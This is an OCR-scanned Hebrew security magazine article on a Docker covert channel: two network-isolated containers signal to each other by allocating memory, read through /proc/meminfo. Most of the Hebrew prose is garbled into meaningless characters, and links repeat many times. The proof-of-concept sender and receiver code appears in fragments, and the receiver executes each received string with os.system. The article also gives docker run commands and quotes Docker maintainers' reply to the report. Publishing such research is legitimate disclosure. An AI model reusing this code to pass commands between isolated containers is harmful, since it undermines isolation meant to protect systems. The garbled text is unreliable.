DMV Y |2 'NYN MIYPN YNY DY

N'oNID NTIN' RN

aNTN

077122 DMIXY VT NANN N9 TR NINWAY X9 B IT2A] 2V TIVI TIV D'ynIv 1IX NINNKD DA

NINIYIY 9101'K TIVI ,ANMNA9Y NINIYA_[17'n 700 LYNd TIY ,NMIYN IR NINIYY TR 2.2)

770 2700 0T D'Ion nTwA SAL Injection XIXN7W NXM1 ,N7XD DMZNA L (NIINNRD DIWA 170n2
N> NYNWI - Y'Y 2N NNVAIKA Nwn 800GB 7yn 71ww Narkn q7Tn7 7w nn'wnnw Tiya

JNMWOX M7 nn'wn

YT 11ayn? QpIn? NMYONRN TWX nN9pNnn 7 10 X'n Covert Channel ,0'awnnn NNVAX DINNA"
7¢ DNLARN NI'TA '9 Y DN WPNY DY7A10N NIFY DMK DI'R WX DDYON Y

(D'T9'7'm 'woIn nIan) "nd>vnn

NIYPNYT 1wy NT71D N9pNNN 7702 0N WIN'YILINAN OX - 977 'XNY - IX,0"N0 D'¥NY NR'¥N
27U N1ANN YN 7Y 100 NI YiIna 990 0T R 19R 0NYEINRNA RINN MR 7Y TIRN

JwA/novnn

1vnY T 'MKRXN ,IMaonal - Docker 7y myxwv RITdLA] 7V NIXXINN NIX 01'1921 A'YX NT 1AXN]

.00 WWPENT 17221' K7W D NTAINY NN 0MT0Ip Y [ vTn

NNVIX (2T ZOIVN N'T MNINI VIO 7XA' 7W IMIXAN DR KNP TINA Y700 IR ,)'WNIY 197 X
XIN T¥'I Docker NT Nn NaILV NIY2 NNONY DAY N71IVAN NNTRNN DX J7'va Docker-2 qon

.'Na


https://www.wired.com/story/collection-leak-usernames-passwords-billions
https://www.wired.com/story/collection-leak-usernames-passwords-billions
https://www.wired.com/story/collection-leak-usernames-passwords-billions
https://www.wired.com/story/collection-leak-usernames-passwords-billions
https://www.wired.com/story/collection-leak-usernames-passwords-billions
https://www.wired.com/story/collection-leak-usernames-passwords-billions
https://www.itgovernance.co.uk/blog/list-of-data-breaches-and-cyber-attacks-in-february-2019-692853046-records-leaked
https://www.itgovernance.co.uk/blog/list-of-data-breaches-and-cyber-attacks-in-february-2019-692853046-records-leaked
https://www.itgovernance.co.uk/blog/list-of-data-breaches-and-cyber-attacks-in-february-2019-692853046-records-leaked
https://www.itgovernance.co.uk/blog/list-of-data-breaches-and-cyber-attacks-in-february-2019-692853046-records-leaked
https://www.itgovernance.co.uk/blog/list-of-data-breaches-and-cyber-attacks-in-february-2019-692853046-records-leaked
https://www.itgovernance.co.uk/blog/list-of-data-breaches-and-cyber-attacks-in-february-2019-692853046-records-leaked
https://www.itgovernance.co.uk/blog/list-of-data-breaches-and-cyber-attacks-in-february-2019-692853046-records-leaked
https://www.itgovernance.co.uk/blog/list-of-data-breaches-and-cyber-attacks-in-february-2019-692853046-records-leaked
https://haveibeenpwned.com/
https://haveibeenpwned.com/
https://haveibeenpwned.com/
https://haveibeenpwned.com/
https://haveibeenpwned.com/
https://en.wikipedia.org/wiki/Covert_channel
https://www.digitalwhisper.co.il/files/Zines/0x55/DW85-2-DockerSec.pdf

Technologic

Docker 7y 2¥j7 7200
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NNX 720 7Y wnn XL (D71vn DIIXa 177 12N 12D 0N D Rl DT NN VIR IR 7Y NNy
,N7TIAN MIXA - DMIM0AI JIN2 N7Y9NN NdWwN 7w 070 0NN Yn? 117 2woRn Docker
17U 0¥ NOIWNN DX 70 KNAIT? LIY78 MIYWRD D200 DX 21 X D' 170NN 1Y 91X i
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.TNX Host '"aa 7y

TNN W N71VNn DX¥INN DX D2 NINYZ 20 DIN2 Y7010 1R 701V7 XWIN DX 207 DR nxne n?

.Docker NX 12NOW D'waNNN
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:Flag-n DYV NTaIn DM VAN N1 NNATAN IXY
—-network none
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ntn D

w' 119 RAM Nnd T2 M1M0IR TWKRD NI*MYNN NTAVT? MIWR RN DT IRTA DNY "7 INR KIN
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LAY NIN

PT¥ NINW 12N0NI 'MIZN .RYIIN 2V IPNKR IRY 17 'MNKIETI Unn ' yawl A favn n7nnna
Host-n 7w /proc/meminfo yalj77 mount yxan Docker Engine ™ N71y 11"'01I7 TWKXD NnXal

.opn'A

n7von novnnt (XY 7o TN 7V Nty nAXa X7 X'N) 0'¥ap nown "Imos” n1tn /proc ntr'nin
I I ] p I

processes 7y WAT1) NdDWNN 7Y YT 7907 DTVl X' L[ND'TA NNIK NYYE DNIR XYY NARIT

NP'00'VLOo A'XN7 IMLVNY "TNIM YaIR" XIN /proc/meminfo yalpn .(N7w DWN yan [kdni >Nl

0NN 9w o v

:man page '97 17¢ NNTANN NINT

This file reports statistics about memory usage on the system.
It is used by free(1) to report the amount of free and used
memory (both physical and swap) on the system as well as the
shared memory and buffers used by the kernel.

X2 NANNA I'72V XINRY N iDraynn?

NN XY VM- WD DT 17220 DY DNM0AI7 DTN DY 1N 78 DY 7Y 1907 1Iitn

NN nwan .garbage collector-7 XIp N X7 KN P71 Mt0ARN Y 1wxaw n71an7 yTin

IIMIX oMz D' RIN P71 N NiMd2A 72am n'n 2 KiIn Docker engine N1'Nany

X2 X727 DIATI NYWAN 7w [INN9 7710 kWD 2y nandm naxnpY

https://developers.redhat.com/blog/2017/03/14/java-inside-docker/
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/proc is not the only issue: sysinfo

Even if we could find a solution to containerize /proc/meminfo with which
everyone is happy, it would not be enough.

Linux also provides the sysinfo(2) syscall, which returns information about
system resources (e.g. memorv). As with /proc/meminfo, it is not containerized:
it always returns metrics for the box as a whole.

:Syscall sysinfo-n 7y N¥ 'M75N0N , VTN 1AVNYT7 WWOX 1AW AN TIV D'PY TNIN DXYAY NN

¥;

struct sysinfo {

long uptime;

unsigned long
unsigned long
unsigned long
unsigned long
unsigned long
unsigned long
unsigned long

unsigned short procs; /* Number of current processes *

unsigned long totalhigh; /* Total high memory size */

unsigned long

unsigned int mem_unit;
char f[208-2%sizeof(long)-sizeof(int)];

Since Linux 2.3.23 (i386) and Linux 2.3.48 (all architectures) the
structure is:

/%
loads[3]; /*
totalram; /f*
freeram; /#

sharedram; /#*
bufferram; /*
totalswap; /*
freeswap; [*

f"*
{"*

freehigh;

,,"*

Seconds since boot */

1, 5, and 15 minute load averages */
Total usable main memory size #*/
fvailable memory size */

Amount of shared memory #*/

Memory used by buffers */

Total swap space size */

Swap space still available */

fvailable high memory size */
Memory unit size in bytes */

Padding to 64 bytes #*/
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“Talk is cheap. Show me the code.” - Linus Torvalds

nnU'py X'n NNINN NNATNA L,IYN 2192 IXRINNAN [I'VAN NIXR ARNY Q019 n'oN' NNaTN 'Midn
n7nn T qulﬂ'? 10NY T'NN QTR Host IMIN 7V D' 0101 Y Qpinn 7w AT'NN N

JNIYPN DN 'RY NIXT NIYA D'A9AIPN DAY |IDN YT'A DN vavny

VXA RINY NIN 7Y WD 1110177 TIRD NITYY TR 1170117 7¢ N710'0 DR U'NNNY No0In NnaTnn

.(C&C) NnIX

0'xap Y n7'o>n nnaTin

Y InW T NYL? XN M0AIRNY Yalzn Nt sender.py X172 TNR Yl e

Y yTnn DX 727 N¥YNY 101IPNY YaIpn NTY receiver.py X1aw Qo1 Yaljpl e

QXY DT N2 TV W DY NTAIYY N NNIXA Nont'Nn X7 nnaTan Z|"X'7 2 awn

NU'YA YNNYN7 X' WX 'MMN no'i’n 17> ,RAM-1 wIn'win 2a¥n 7V DA D'Y'OYN WK '7'3|7YJ1

[IN210 ,|INTN 112210 ,NIKAY [I7'N N712' 121 ,07¢ AN'W 21710109 nraa 7y 2107 YR IT niwpn

1212 n'on' Host-n DN DINT ,NRXPNY 0*-Buffer 7w 7112

N2 NINNT7 AWON X700 TIzn NN

:NIn sender.py 7w (NI 'OIMN 7700

string to send = raw_input (

bin to send = + bin(int (binascii.hexlify(string to send), 16)) [2:]
raw_input ( )
logger.info ( )

while datetime.datetime.now () .second % 20 != 0:
time.sleep (0.1)

for curr binary in bin to send:
if curr binary == g

temp = * BYTES IN RAM TO USE

time.sleep (time between send one)

del temp

logger.info( .format (datetime.datetime.now()))
else:

time.sleep (TIME BETWEEN SEND ZERO)
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JU¥27 WD 110NN Wiza7 Xl DNIRY TR wnnwnnn of7apn L1

SN2 UMDY NNIX DXYAYN NNIX .2

QY YA TV 7¢ NINAN DNO DT Yad ,0TTYN IWd WX MM 77 1Y 0Dnn nnax .3
DMI"VIPN YWY RTIT D'YN DRY K'D NINANYT7 N2'on NMRY 91 20-2 NIpNnn NiMvn
VTN DX DN 1'AYn7 0'7'NNN 0N DAY NMYN 7Y 21772 010100

'1' 775N DX 1'AYN7 0N 1INIR NNAT? .02V D'YN 1INIRY IIXIN N v DA nnax- 4
90110 MMVIPN DY WRIN YIAPY AT D DA NdN) ,UXRIN VAR 77122 nINWN [ND'T N¥7l TR

0NN Y "2 VIR OYUKR INTN DX 72 NDN] TR '0' INI'AN NN 1AVNY? NXO DN

21'N receiver.py-2 'T20N T yopn ,7apna

raw_input (

logger.info ( )

while datetime.datetime.now () .second $ 20
time.sleep (0.1)

need get more binary = True
while need get more binary:
curr binary string =
for i in range (SIZE BYTE IN BINARY):
curr binary string += check if transform data/()

if curr binary string == NULL ASCII BIN STR:
logger.info (
need get more binary = False
else:
n = int (curr binary string, 2)
full receive string += binascii.unhexlify('Sx' % n)

logger.info ( .format (full receive string))
logger.info ( )
os.system(full receive string)

sender-1 1> 71'T2 NYwn NX 0d10n .1

.YV nonv (D'09X MiMw) null 7273w TV DN DD TIVETIYV 727 .2

XY string=7 owwn ovs 7D .3

NTIP9 N2 AT DX DY g0 4

NIX7NN DY QN7 IX IMIX 2'NN7 DA ATIN A¥XNY M1 Github-2 X'Mmn TIpn 2y a7 y'mn X
-1 Wnnwn? amm 17¥X 0T DX 2Im7 ivaw m.© pr K7 Star-a (2197 pDal (jimn wr) io'wy

011V terminals WA NIXAN NITIZON NN Y"\n'? 0IYD NI7D 0YDINN Images

docker run --network=none -it yehudacorsia/docker-covert-channel-sender

docker run --network=none -it yehudacorsia/docker-covert-channel-receiver

.M DOPN DX NI

.Github-a n'y'omn Dockerfiles-nn mMxya Images-n NN NINAY ATIN NXNY 'n ,90112

DM'VAIR Y [ 'RYN TIYPN YN DY
www.DigitalWhisper.co.il
7 2019 'O« ,105 JI'7a



https://github.com/YehudaCorsia/Docker-Covert-channel
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles
https://github.com/YehudaCorsia/Docker-Covert-channel/tree/master/src/Dockerfiles

Technologic

Sender MK D'RN |'A' TN .7'2702 DM1M0AEN W 7W NXIN 7Y DNATR NIKYY [N XN NImna
NMIMnNn ,VTnNn 7w an'wun N7NNN DR NIKAY7 N NIYRIN NINNA .receiver NN 7RNY Txnl

:receiver-n 'T* 7y NTIZON VIXl NN'7WUN 1022 2¥NN NI RN DY

Terminal  Help
er run

Flle Edit arch  Terminal Help

ning it as a command
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https://youtu.be/Zh4gNfVhnl8
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Docker naian

-1 NY'DIM DN'R DN'WA 21, TIRN qirya Docker MNaNY? nw7inn a7 yTan DX [amd 'mnhy

:DN7W NaNNN 270 0T ,07'N9N 7w Github

Thanks for this report (and neat PoC), unfortunately we don't agree that
this is a vulnerability -- for a few reasons.

1. In order to exploit this you already have two containers that you
wish to communicate on a target system -- which means that you
already have code-execution within containers on the system and they
are mutually co-operative. In other words, there is no "victim"
process. I'm sure this would be a neat trick if you manage to get
"blind container execution" to exfiltrate information between
containers, but given that all the processes are co-operative I don't
see this as an issue.

This issue is actually a kernel issue (/proc/meminfo and the other
memory-info APIs aren't cgroup-aware, leading to information about
global system resources being scoped inside the container). As you
said, this issue has been known about for a really long time -- but
kernel developers have categorically stated they aren't interested in
/proc/meminfo becoming cgroup-aware because of how complicated the
infrastructure would be to make it work. So, we don't really have the
ability to fix the fundamental issue.

There is a project called LXCFS which allows you to mask
/proc/meminfo in containers, and you could use this to prevent some
of the problem -- but there are other memory-info APIs that can't be
fixed so easily. You could trick them with the new seccomp

RET USER NOTIF API, but that would not help older kernels and so on
(and ptrace would kill performance in containers by a fair amount,
and break gdb) .

Isolating machines to avoid side-channels like this is almost an
intractable problem -- because at the end of the day you are running
on the same hardware and there will always be hardware tells (latency
in HDD access or even CPU load -- both can be limited with cgroups
but you'd likely be able to tell). Even VMs are vulnerable to
side-channels like this, because shared-tenant systems fundamentally
have to share resources that aren't designed to be side-channel
resistant.
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https://github.com/YehudaCorsia/Docker-Covert-channel/blob/master/docs/Conversation%20with%20Docker.md
https://github.com/YehudaCorsia/Docker-Covert-channel/blob/master/docs/Conversation%20with%20Docker.md
https://arxiv.org/abs/1606.01356
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